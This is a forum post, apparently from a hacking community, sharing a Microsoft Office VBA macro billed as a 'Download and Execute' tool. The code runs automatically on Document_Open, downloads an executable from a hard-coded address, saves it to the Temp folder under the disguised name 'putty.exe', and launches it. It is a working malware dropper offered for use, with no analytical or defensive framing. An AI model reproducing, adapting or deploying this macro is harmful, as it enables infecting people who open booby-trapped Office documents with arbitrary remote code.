Combo Tools Macro para Mircrosoft Office - Download and Execute (2015) (1 Viewer)

Currently reading:
 Combo Tools Macro para Mircrosoft Office - Download and Execute (2015) (1 Viewer)

Recently searched:

iamdroppe

Member
LV
3
Joined
May 14, 2023
Threads
86
Likes
84
Awards
8
Credits
17,401©
Cash
0$
E-Cash
0.00$
#If Win64 Then Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal pCaller As Long, ByVal szURL As String, _ ByVal szFileName As String, _ ByVal dwReserved As Long, ByVal lpfnCB As Long) #Else Private Declare Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal pCaller As Long, ByVal szURL As String, _ ByVal szFileName As String, _ ByVal dwReserved As Long, ByVal lpfnCB As Long) #End If Sub ToggleHyperlinkCtrlClick() Options.CtrlClickHyperlinkToOpen = Not Options.CtrlClickHyperlinkToOpen End Sub Sub Document_Open() DownloadAndExecute End Sub Sub DownloadAndExecute() Dim URL AS String Dim FILE AS String URL = "http://192.168.0.2/hfs287.exe" FILE = Environ("Temp") & "\" & "putty" & ".exe" URLDownloadToFileA 0, URL, FILE, 0, 0 If Len(Dir(FILE)) > 0 Then Shell FILE, vbNormalFocus End If End Sub

Screenshot 1
 

Create an account or login to comment

You must be a member in order to leave a comment

Create account

Create an account on our community. It's easy!

Log in

Already have an account? Log in here.

Tips
Recently searched:

Similar threads

Users who are viewing this thread

Top Bottom